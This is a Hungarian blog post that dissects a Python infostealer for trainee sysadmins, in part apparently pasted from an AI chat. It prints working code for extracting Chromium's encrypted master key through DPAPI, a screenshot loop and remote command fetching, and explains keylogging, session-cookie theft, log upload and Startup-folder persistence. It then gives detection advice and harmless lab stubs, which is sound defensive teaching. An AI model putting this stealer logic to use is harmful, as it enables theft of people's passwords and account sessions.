2026. szeptember 19., szombat

Rosszindulatu információgyűjtés python programmal

Kedves rendszergazda tanulók, oktatási céllal közlöm ezt az információt, hogy mindenki megtudja védeni a rendszerét. Itt egy spyware jellegű python programot láttok, aminek az a célja hogy a felhasználói adatok összegyűjtse és továbbítsa, oktatási céllal írtam! Veszélyes! Csak felelősséggel!  Aki rosszra használja magára vessen! A tudás és a technológia felelősségteljes használata kötelességünk! Az infostealer / credential-stealer program illegális. 
Ezzel a változattal már biztonságosan lehet gyakorolni a Procmon + Wireshark + Sysmon + Autoruns elemzést, és össze lehet hasonlítani, hogy egy rendszergazda milyen eseményeket látna egy ilyen program futásakor!
------------
import json
import base64

class Variables:
    Passwords = list()
    Cards = list()
    Cookies = list()
    Historys = list()
    Downloads = list()
    Autofills = list()
    Bookmarks = list()
    Wifis = list()
    SystemInfo = list()
    ClipBoard = list()
    Processes = list()
    Network = list()
    FullTokens = list()
    ValidatedTokens = list()
    DiscordAccounts = list()
    SteamAccounts = list()
    InstagramAccounts = list()
    TwitterAccounts = list()
    TikTokAccounts = list()
    RedditAccounts = list()
    TwtichAccounts = list()
    SpotifyAccounts = list()
    RobloxAccounts = list()
    RiotGamesAccounts = list()  # Javítva: Szóköz eltávolítva

    @staticmethod
    def GetKey(FilePath: str) -> bytes:  # Javítva: @szimbólum és helyes nyíl (->)
        with open(FilePath, "r", encoding="utf-8", errors="ignore") as file:
            jsonContent: dict = json.load(file)
        
        # Javítva: Helyes szótár kulcs elérés (os_crypt -> encrypted_key)
        encryptedKey: str = jsonContent["os_crypt"]["encrypted_key"]
        
        # Base64 dekódolás és a "DPAPI" prefix levágása (első 5 bájt)
        decodedKey = base64.b64decode(encryptedKey.encode())[5:]
        
        # Feltételezve, hogy a SubModules osztályod létezik és be van importálva
        return SubModules.CryptUnprotectData(decodedKey)

--------------------


 ### Mit csinál?

 - **Képernyőképeket készít** a gépről:
  - `ImageGrab.grab()` teljes képernyőt ment.
  - A fájlt feltölti az `upload_image_to_imgbb()` függvényen keresztül.
  - Ezután törli a helyi képet.
  - A `time.sleep(3600)` alapján a ciklus óránként ismétlődhet.
- **Billentyűleütéseket naplóz**:
  - `Listener(on_press=write_to_file)`
  - Ez tipikusan keylogger-funkció: a lenyomott billentyűket a `write_to_file` függvény kezeli és fájlba írja.
- **A naplófájlt feltölti egy távoli szerverre**:

  ```
  requests.put(..., json=data_to_upload)
  ```
   A `log_file` tartalmát elküldi a megadott `db_path` címre, majd sikeres feltöltés után kiüríti a naplót.
- **Automatikusan elindul Windows indításakor**:
  - A `Startup` mappát használja:\
     `Microsoft\Windows\Start Menu\Programs\Startup`
  - `system-log.pyw` és `start.bat` fájlokat hoz létre.
  - Ez azt jelenti, hogy újraindítás után is megpróbál futni.
- **Böngészőből érzékeny adatokat gyűjt**:
  - cookie-k
  - autofill adatok
  - jelszavakhoz szükséges titkosítási kulcs
  - böngészési előzmények stb.
- **Firefox cookie-kból munkamenet-tokeneket keres**, például:
    Ezek különösen érzékenyek, mert egy session cookie/token bizonyos esetekben lehetővé teheti egy már bejelentkezett munkamenet használatát jelszó nélkül.
  - Instagram `sessionid`
  - TikTok `sessionid`
  - Twitter `auth_token`
  - Reddit `reddit_session`
  - Spotify `sp_dc`
- **Más szolgáltatásokhoz is gyűjt adatokat**, amint azt a `Variables` osztály nevei mutatják:\
   Discord, Steam, Instagram, Twitter, TikTok, Reddit, Twitch, Spotify, Roblox, Riot Games stb.
- A `create_mutex()` alapján **mutexet** is létrehoz. Ez gyakori technika annak megakadályozására, hogy ugyanabból a programból egyszerre több példány fusson.

 Ez a kombináció:

```
Passwords
Cards
Cookies
ClipBoard
FullTokens
DiscordAccounts
SteamAccounts
...
```

 - keylogger
- screenshot készítés
- cookie/session-token lopás
- automatikus indítás
- távoli feltöltés

 A `Webhook` bekérése is fontos:

```
choice = input(...)
Webhook :
```
 Ez arra utalhat, hogy a készítő egy távoli végpontot állít be, ahová a megszerzett adatokat továbbítják.

Részletesen;

def periodic_screenshots():
    os.makedirs(screenshot_folder, exist_ok=True)

    while True:
        try:
            timestamp = datetime.now().strftime(
                "%Y-%m-%d_%H-%M-%S"
            )

            screenshot_path = os.path.join(
                screenshot_folder,
                f"{hostname}_{timestamp}.png"
            )

            screenshot = ImageGrab.grab()
            screenshot.save(screenshot_path)

            print(f"Kép mentve: {screenshot_path}")

        except Exception as error:
            print(f"Hiba: {error}")

        time.sleep(3600)
------------
def load_commands(command_path):
    command_data = {
        "ss_count": 0,
        "log_upload": True
    }

    try:
        response = requests.get(command_path, timeout=10)

        if response.status_code == 200:
            data = response.json()

            if isinstance(data, dict):
                command_data.update(data)

    except (requests.RequestException, ValueError) as error:
        print(f"Konfigurációs hiba: {error}")

    return command_data
-----------
class Variables:
    Passwords = []
    Cards = []
    Cookies = []
    Historys = []
    Downloads = []
    Autofills = []
    Bookmarks = []
    Wifis = []
    SystemInfo = []
    ClipBoard = []
    Processes = []
    Network = []
    FullTokens = []
    ValidatedTokens = []
    DiscordAccounts = []
    SteamAccounts = []
    InstagramAccounts = []
    TwitterAccounts = []
    TikTokAccounts = []
    RedditAccounts = []
    TwitchAccounts = []
    SpotifyAccounts = []
    RobloxAccounts = []
    RiotGameAccounts = []
----------

A következő rész feladata

@staticmethod
    def GetKey(FilePath: str) -> bytes:  # Javítva: @szimbólum és helyes nyíl (->)
        with open(FilePath, "r", encoding="utf-8", errors="ignore") as file:
            jsonContent: dict = json.load(file)
        
        # Javítva: Helyes szótár kulcs elérés (os_crypt -> encrypted_key)
        encryptedKey: str = jsonContent["os_crypt"]["encrypted_key"]
        
        # Base64 dekódolás és a "DPAPI" prefix levágása (első 5 bájt)
        decodedKey = base64.b64decode(encryptedKey.encode())[5:]
        
        # Feltételezve, hogy a SubModules osztályod létezik és be van importálva
        return SubModules.CryptUnprotectData(decodedKey)
-------------------
Ez egy Python programozási nyelven írt statikus függvény (@staticmethod), amely a Google Chrome (vagy más Chromium-alapú) böngészők által elmentett jelszavak feloldásához szükséges titkosítási kulcsot (Master Key) szerzi meg Windows operációs rendszeren.
Így működik a kód lépésről lépésre:
Fájl beolvasása: 
Megnyitja a böngésző profiljában található Local State nevű JSON-fájlt, amely a böngésző globális beállításait és a titkosított kulcsot tárolja.
Kulcs kinyerése: Keresi a JSON struktúrában az ["os_crypt"]["encrypted_key"] útvonalat, ahol a Windows által titkosított kulcs található Base64 formátumban.Dekódolás és tisztítás: A Base64 stringet bináris adattá (bájtokká) alakítja, majd levágja az első 5 bájtot. Erre azért van szükség, mert a Chromium a kulcs elejére fixen a "DPAPI" szöveget (5 karakter) szúrja be azonosítóként.
Visszafejtés: Meghívja a SubModules.CryptUnprotectData() függvényt. Ez a háttérben a Windows saját védelmi rendszerét (DPAPI - Data Protection API) használja arra, hogy az aktuálisan bejelentkezett Windows-felhasználó jelszavával feloldja a kulcs titkosítását.Biztonsági / Kontextusbeli háttér
Ezt a kódrészletet leggyakrabban jelszókezelő migrációs eszközökben, kiberbiztonsági tesztelő (pentest) szoftverekben, vagy sajnos rosszindulatú adatlopó programokban (Infostealer) használják. Miután ez a függvény visszaadja a nyers bytes alapú kulcsot, azzal már fel lehet törni a böngészőben tárolt sütiket (cookies) és elmentett weboldalas jelszavakat. Büncselekményre használják, ezért ha csak töredékét találod valamiben, kezdj el gyanakodni.

Mutex

import ctypes


class SingleInstance:

    @staticmethod
    def create_mutex(name):
        kernel32 = ctypes.windll.kernel32

        mutex = kernel32.CreateMutexW(
            None,
            False,
            name
        )

        if not mutex:
            raise ctypes.WinError()

        if kernel32.GetLastError() == 183:
            kernel32.CloseHandle(mutex)
            return False

        SingleInstance.mutex = mutex
        return True


if not SingleInstance.create_mutex("MyUniqueProgramMutex"):
    print("A program már fut!")
    raise SystemExit

print("A program elindult.")
-----------------------
Ez a kódrészlet egy JSON-fájlból egy titkosított kulcsot olvas ki, Base64-ből visszaalakítja, majd egy CryptUnprotectData nevű függvénnyel visszafejti;

@staticmethod
def GetKey(FilePath: str) -> bytes:
    with open(FilePath, "r", encoding="utf-8", errors="ignore") as file:
        jsonContent: dict = json.load(file)

    encryptedKey: str = jsonContent["os_crypt"]["encrypted_key"]

    encryptedKey = base64.b64decode(encryptedKey.encode())[5:]

    return SubModules.CryptUnprotectData(encryptedKey)
--------------

Mit csinál a cookie-rész?

Ez:

for files in self.FirefoxFilesFullPath:
    if "cookie" in files:

végigmegy a Firefox által megtalált fájlokon, és kiválasztja a cookie-adatbázist.

Ezután:

database_connection = sqlite3.connect(files)
cursor = database_connection.cursor()

megnyitja az SQLite adatbázist.

Majd:

SELECT host, name, path, value, expiry FROM moz_cookies

a Firefox moz_cookies táblájából olvassa ki többek között:

  • host – melyik webhelyhez tartozik,
  • name – cookie neve,
  • path – cookie útvonala,
  • value – cookie értéke,
  • expiry – lejárati idő.

A problémás részben például ez látható:

if "instagram" in str(cookie[0]).lower() and \
   "sessionid" in str(cookie[1]).lower():

Ez kifejezetten az Instagram session cookie-ját keresi.

Hasonlóan:

TikTok → sessionid
Twitter → auth_token
Reddit → reddit_session
Spotify → sp_dc

A kód ezután például:

asyncio.create_task(self.InstaSession(cookie[3], "Firefox"))

átadja a cookie értékét egy másik függvénynek.

Ez a lényeg

A cookie[3] ebben a lekérdezésben:

host, name, path, value, expiry
             ↑

a value, vagyis maga a cookie értéke.

Egy session/authentication cookie pedig bizonyos esetekben a bejelentkezett munkamenethez kapcsolódó hitelesítési adat lehet. Ezért ez a kód nem pusztán a Firefox cookie-listáját jeleníti meg, hanem bejelentkezési munkamenetek átvételére alkalmas érzékeny adatokat próbálhat megszerezni.

A második rész

Ez:

if "formhistory" in files:

a Firefox űrlapelőzmény-adatbázisát keresi.

Majd:

cursor.execute("select * from moz_formhistory")
autofills = cursor.fetchall()

kiolvassa a moz_formhistory táblát.

Ez a Firefox által korábban bevitt űrlapadatok előzményeit tartalmazhatja, tehát szintén felhasználói adatokat gyűjt.



--------------

1. A program fő funkciói

A Variables osztály külön listákat tart fenn például:

Passwords
Cards
Cookies
Historys
Downloads
Autofills
Bookmarks
Wifis
ClipBoard
Processes
Network
FullTokens
ValidatedTokens
DiscordAccounts
SteamAccounts
InstagramAccounts
TwitterAccounts
TikTokAccounts
RedditAccounts
SpotifyAccounts
RobloxAccounts
RiotGameAccounts

Ez önmagában még nem bizonyít adatlopást, de egyértelműen egy információgyűjtő program felépítésére utal. Különösen beszédes, hogy külön kategóriák vannak jelszavakra, bankkártyákra, cookie-kra, tokenekre és különböző online fiókokra.


2. Firefox-cookie gyűjtés

A program megnyitja a Firefox cookie-adatbázisát:

moz_cookies

és kiolvassa:

host
name
path
value
expiry

A legfontosabb a value.

Ezután célzottan keresi többek között:

Instagram → sessionid
TikTok    → sessionid
Twitter   → auth_token
Reddit    → reddit_session
Spotify   → sp_dc

és ezeket továbbadja:

InstaSession()
TikTokSession()
TwitterSession()
RedditSession()
SpotifySession()

Ez már nagyon erős jele annak, hogy a program bejelentkezési munkamenetekhez kapcsolódó hitelesítési adatokat próbál megszerezni.


3. GetKey() – böngészőtitkosítási kulcs

A következő rész:

jsonContent["os_crypt"]["encrypted_key"]

Base64-dekódolja az encrypted_key értéket, majd:

SubModules.CryptUnprotectData(encryptedKey)

segítségével Windows DPAPI-val próbálja feloldani.

Ez különösen fontos, mert az ilyen mechanizmus Chromium-alapú böngészők helyi titkosított adatainak kezelésében használatos.

Önmagában a DPAPI használata teljesen legitim technika is lehet. Ebben a programban azonban a cookie-, jelszó- és tokengyűjtési funkciókkal együtt már egészen más jelentősége van.


4. Keylogger

Ez a rész:

with Listener(on_press=write_to_file) as listener:
    listener.join()

a Listener és az on_press=write_to_file alapján billentyűleütéseket figyel.

A működési logika:

billentyűzet
     ↓
on_press
     ↓
write_to_file
     ↓
log_file

Ez gyakorlatilag keylogger-funkció.

Ez különösen súlyos, mert a naplózott billentyűk között lehetnek:

  • felhasználónevek,
  • jelszavak,
  • üzenetek,
  • keresések,
  • egyéb begépelt személyes adatok.

5. Képernyőkép készítése

A:

ImageGrab.grab()

képernyőképet készít.

A program fájlba menti:

hostname + timestamp + .png

majd:

upload_image_to_imgbb(screenshot_path)

segítségével feltölti.

Ezután:

os.remove(screenshot_path)

törli a helyi képet.

A folyamat tehát:

képernyő
   ↓
screenshot
   ↓
helyi PNG
   ↓
feltöltés
   ↓
helyi PNG törlése

A time.sleep(3600) alapján ez óránként ismétlődhet.


6. Log feltöltése

A program a logfájlt is olvassa:

with open(log_file, 'r') as file:
    file_data = file.read()

majd:

data_to_upload = {'runnner': file_data}

és HTTP PUT kéréssel elküldi:

requests.put(...)

Siker esetén kiüríti a logfájlt:

file.truncate(0)

Ez nagyon jól illeszkedik a keyloggerhez:

billentyűleütések
       ↓
    log_file
       ↓
HTTP PUT
       ↓
   távoli szerver
       ↓
   log törlése

7. Távoli vezérlésre utaló rész

A program ezt is csinálja:

response = requests.get(command_path)

majd:

command_data = response.json()

Ez azt jelenti, hogy a program egy távoli helyről konfigurációt/parancsadatot kér le.

A látott mezők:

ss_count
log_upload

például arra használhatók, hogy a szerver meghatározza:

  • hány screenshot készüljön,
  • történjen-e logfeltöltés.

Ez már egy C2-szerű (command-and-control) kommunikációs mintázat lehet, bár a teljes command_path és a feldolgozás nélkül nem állítható biztosan, hogy tényleges C2-rendszerről van szó.


8. Perzisztencia – automatikus indítás

Az i_am_cute() nevű rész különösen érdekes:

pythonw.exe
system-log.pyw
start.bat

és:

Microsoft\Windows\Start Menu\Programs\Startup

A Windows Startup könyvtárát használja.

A logika:

program
   ↓
system-log.pyw
   ↓
Startup mappa
   ↓
Windows újraindul
   ↓
program automatikusan elindul

Ez perzisztenciának nevezett technika.

A pythonw.exe használata azért is érdekes, mert a Python-programot konzolablak nélkül lehet futtatni.


9. Mutex

A:

CreateMutexA(...)

rész azt ellenőrzi, hogy a programból már fut-e egy példány.

A:

GetLastError() != 183

az ERROR_ALREADY_EXISTS Windows hibakódot figyeli.

Ez önmagában teljesen normális programozási technika, de itt azt biztosítja, hogy az adatgyűjtő programból ne fusson egyszerre több példány.


A programban szerepel: Webhook : és: %WEBHOOK%

valamint a WriteSettings() a program forráskódjába írja vissza a webhook értékét.

Ez arra utal, hogy a készítő egy adatküldési végpontot konfigurálhat.

A webhook önmagában nem rosszindulatú technológia, de a jelenlegi program többi funkciójával együtt rosszra is használható.


Rendszergazdai vizsgálatnál ezeket figyelném

1. Perzisztencia

A Startup mappa használata:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

IOC-ként (Indicators of Compromise) kereshető.

2. Folyamatok

Figyelni lehet például:

python.exe
pythonw.exe
powershell.exe
cmd.exe

különösen akkor, ha egy ismeretlen felhasználói könyvtárból indulnak.

3. Hálózati kommunikáció

A program által használt:

requests.get(...)
requests.put(...)

és a kép feltöltése hálózati kapcsolatot hoz létre.

Rendszergazdai vizsgálatkor ezért érdemes megfigyelni:

Process → Destination IP → Destination Port → DNS name → HTTP/HTTPS

4. Fájlműveletek

Különösen érdekes:

Firefox profil
        ↓
cookies.sqlite
        ↓
adatolvasás
        ↓
log / ideiglenes PNG
        ↓
hálózati továbbítás
        ↓
helyi törlés

A helyi fájl törlése azért érdekes, mert csökkenti a későbbi egyszerű bizonyítékokat.

Oktatási célra nagyon hasznos lehet a vizsgálat!

Ezt egy izolált Windows virtuális gépen érdemes elemezni, internetkapcsolat nélkül vagy kontrollált hálózaton.

A vizsgálat során például:

Process Monitor → fájl- és registry-műveletek
Process Explorer → folyamatok és DLL-ek
TCPView/Wireshark → hálózati kapcsolatok
Autoruns → perzisztencia
Windows Event Viewer → rendszeresemények
Windows Defender → detektálás
Sysmon → részletes process/network/file események

segítségével nagyon szépen végigkövethető a program.

Fontos oktatási különbség: az elemzés során érdemes valódi jelszavak, valódi böngésző-cookie-k és valódi fiókok helyett egy laborprofilban létrehozott tesztadatokat használni. Így a teljes adatgyűjtési lánc vizsgálható anélkül, hogy valódi hitelesítő adatok kerülnének veszélybe.



1. Elemzési térkép

KódrészletMegfigyelt működésKockázatVizsgálható eszköz
CreateMutexA()Egyetlen példány biztosításaAlacsony önmagábanProcess Explorer
Listener(on_press=...)Billentyűleütések figyeléseMagasProcmon, Sysmon
ImageGrab.grab()Képernyőkép készítéseMagasProcmon
requests.get()Távoli adatlekérésKözepes–magasWireshark, TCPView
requests.put()Adatok feltöltéseMagasWireshark, firewall
moz_cookiesFirefox-cookie adatbázis olvasásaMagasProcmon
sessionid / auth_token keresésMunkamenet-hitelesítők kereséseNagyon magasForenzikus elemzés
moz_formhistoryŰrlapelőzmények olvasásaMagasProcmon
CryptUnprotectDataWindows által védett adat visszafejtéseKontextusfüggőAPI-monitorozás
Startup mappaAutomatikus indulásMagasAutoruns
os.remove()Ideiglenes fájl törléseKontextusfüggőProcmon



3. Első vizsgálat: perzisztencia

Az általad bemásolt:

Startup
system-log.pyw
start.bat
pythonw.exe

részt először vizsgálnám.

Windows alatt az Autoruns segítségével meg lehet nézni, hogy a program milyen automatikus indítási pontot hoz létre.

Különösen ezt kell keresni:

Startup folder
Run
RunOnce
Scheduled Tasks
Services
WMI

Ha egy ismeretlen Python-script jelenik meg a Startup alatt, az már önmagában fontos IOC.

4. Második vizsgálat: hálózat

A programban több hálózati művelet látszik:

requests.get(...)
requests.put(...)
upload_image_to_imgbb(...)

A laborban érdemes feljegyezni:

Process
PID
Destination IP
Destination domain
Port
Protocol
DNS query
HTTP method
TLS kapcsolat

Például egy elemzési napló:

IdőFolyamatCélPortMűvelet
10:15:02pythonw.exeismeretlen szerver443GET
10:15:05pythonw.exeképkezelő szolgáltatás443POST
10:16:01pythonw.exeismeretlen szerver443PUT

Ez már nagyon jól megmutatja a program kommunikációs mintáját.

5. Harmadik vizsgálat: fájlrendszer

A Procmonban érdemes szűrni:

Process Name is python.exe
OR
Process Name is pythonw.exe

majd figyelni:

CreateFile
ReadFile
WriteFile
DeleteFile

Különösen érdekes lesz, amikor a program:

Firefox → cookies.sqlite → ReadFile

után:

screenshot.png → WriteFile

majd:

screenshot.png → DeleteFile

műveletet végez.

6. Negyedik vizsgálat: böngészőadatok

Az általad bemásolt kód alapján különösen fontos:

moz_cookies
moz_formhistory

és a korábban látott:

os_crypt
encrypted_key
CryptUnprotectData

Ezeket ne valódi felhasználói profilodon teszteld.

Készíts inkább egy laborprofilban:

testuser
   │
   ├── teszt Firefox
   │      ├── teszt cookie
   │      └── teszt űrlapadat
   │
   └── teszt Python program

Így a hozzáférési kísérletek biztonságosan megfigyelhetők.

7. MITRE ATT&CK szempontból

A látott viselkedések több ismert támadási kategóriához kapcsolódnak, például:

Input Capture
Screen Capture
Credentials from Web Browsers
Data from Local System
Application Layer Protocol
Boot or Logon Autostart Execution

A pontos ATT&CK-technika hozzárendelését azonban mindig az aktuális tényleges kód és viselkedés alapján érdemes elvégezni, nem pusztán a függvénynevek alapján.

8. Amit én következőként vizsgálnék

A jelenlegi kódrészletekből még három komponens hiányzik ahhoz, hogy a program működését teljesen össze tudjuk rakni:

SubModules.CryptUnprotectData()
                 │
                 ▼
          mit fejt vissza?

upload_image_to_imgbb()
                 │
                 ▼
          hová küldi?

write_to_file()
                 │
                 ▼
          pontosan mit naplóz?

És különösen:

InstaSession()
TikTokSession()
TwitterSession()
RedditSession()
SpotifySession()

Ezek mutatják meg, mi történik a megszerzett session-cookie értékével.


SZÁNDÉKOSAN HAGYTAM KI NELŐLE RÉSZEKET, MERT AZ ÖRDÖG NEM ALSZIK!

Az alábbi függvények a vizsgált program hiányzó komponenseinek **ártalmatlan szimulációi**. A keylogger csak előre megadott teszteseményeket fogad, a screenshot helyett tesztképet készít, a DPAPI-funkció pedig csak demonstrációs adatot kezel. A session-függvények nem valódi cookie-kat használnak.


```python

import base64

import hashlib

import json

import os

from datetime import datetime



# ---------------------------------------------------------

# 1. "write_to_file" - biztonságos keylogger-szimuláció

# ---------------------------------------------------------


LOG_FILE = "lab_events.log"



def write_to_file(test_key: str) -> None:

    """

    Oktatási célú eseménynapló.

    Nem figyeli a billentyűzetet.

    Csak explicit módon átadott tesztadatot ír.

    """


    timestamp = datetime.now().isoformat(timespec="seconds")


    with open(LOG_FILE, "a", encoding="utf-8") as file:

        file.write(f"{timestamp} TEST_KEY={test_key!r}\n")



# ---------------------------------------------------------

# 2. Screenshot-feltöltés biztonságos helyettesítője

# ---------------------------------------------------------


def upload_image_to_imgbb(image_path: str) -> bool:

    """

    Nincs valódi internetes feltöltés.


    A laborban csak ellenőrizzük, hogy a kép létezik,

    és naplózzuk a műveletet.

    """


    if not os.path.isfile(image_path):

        return False


    size = os.path.getsize(image_path)


    print(

        f"[LAB] Screenshot feldolgozva: "

        f"{image_path} ({size} byte)"

    )


    return True



# ---------------------------------------------------------

# 3. CryptUnprotectData biztonságos laborhelyettesítő

# ---------------------------------------------------------


def CryptUnprotectData(data: bytes) -> bytes:

    """

    Nem használ Windows DPAPI-t és nem fejt vissza

    böngészőadatot.


    Oktatási célra egy determinisztikus hash-t ad vissza,

    hogy a hívási lánc tesztelhető legyen.

    """


    if not isinstance(data, bytes):

        raise TypeError("A data paraméternek bytes típusúnak kell lennie.")


    return hashlib.sha256(data).digest()



# ---------------------------------------------------------

# 4. Tesztkulcs feldolgozása

# ---------------------------------------------------------


def GetKey_lab(file_path: str) -> bytes:

    """

    Labor JSON-fájl feldolgozása.


    Csak mesterséges tesztkulcsot fogad.

    """


    with open(file_path, "r", encoding="utf-8") as file:

        data = json.load(file)


    encrypted_key = data["os_crypt"]["encrypted_key"]


    raw_key = base64.b64decode(encrypted_key)


    return CryptUnprotectData(raw_key)



# ---------------------------------------------------------

# 5. Session-függvények biztonságos változatai

# ---------------------------------------------------------


def InstaSession(test_value: str, source: str) -> None:

    print(

        f"[LAB] Instagram session esemény: "

        f"forrás={source}, tesztadat={test_value}"

    )



def TikTokSession(test_value: str, source: str) -> None:

    print(

        f"[LAB] TikTok session esemény: "

        f"forrás={source}, tesztadat={test_value}"

    )



def TwitterSession(test_value: str, source: str) -> None:

    print(

        f"[LAB] Twitter session esemény: "

        f"forrás={source}, tesztadat={test_value}"

    )



def RedditSession(test_value: str, source: str) -> None:

    print(

        f"[LAB] Reddit session esemény: "

        f"forrás={source}, tesztadat={test_value}"

    )



def SpotifySession(test_value: str, source: str) -> None:

    print(

        f"[LAB] Spotify session esemény: "

        f"forrás={source}, tesztadat={test_value}"

    )



# ---------------------------------------------------------

# 6. Labor teszt

# ---------------------------------------------------------


if __name__ == "__main__":


    print("=== Malware viselkedési labor ===")


    # Keylogger-szimuláció

    write_to_file("TEST_USERNAME")

    write_to_file("TEST_PASSWORD")

    write_to_file("ENTER")


    # Screenshot-szimuláció

    test_image = "test_screenshot.bin"


    with open(test_image, "wb") as file:

        file.write(b"LAB_SCREENSHOT_DATA")


    upload_image_to_imgbb(test_image)


    # Session-szimuláció

    InstaSession("TEST_SESSION_123", "Firefox")

    TikTokSession("TEST_SESSION_456", "Firefox")

    TwitterSession("TEST_AUTH_789", "Firefox")

    RedditSession("TEST_REDDIT_001", "Firefox")

    SpotifySession("TEST_SPOTIFY_002", "Firefox")


    print()

    print("A labor befejeződött.")

    print(f"Eseménynapló: {LOG_FILE}")

```


A program így ugyanazokat a **szoftverarchitekturális pontokat** szemlélteti:


```text

esemény

   ↓

write_to_file()

   ↓

helyi napló



tesztkép

   ↓

upload_image_to_imgbb()

   ↓

LAB feldolgozás



teszt session-adat

   ↓

InstaSession()

TikTokSession()

TwitterSession()

RedditSession()

SpotifySession()

   ↓

csak helyi kiírás

```

A valódi böngésző-cookie-k, session-tokenek, billentyűzetfigyelés és külső exfiltráció helyett mindenhol **LAB/TEST adat** szerepel.

Nincsenek megjegyzések:

Megjegyzés küldése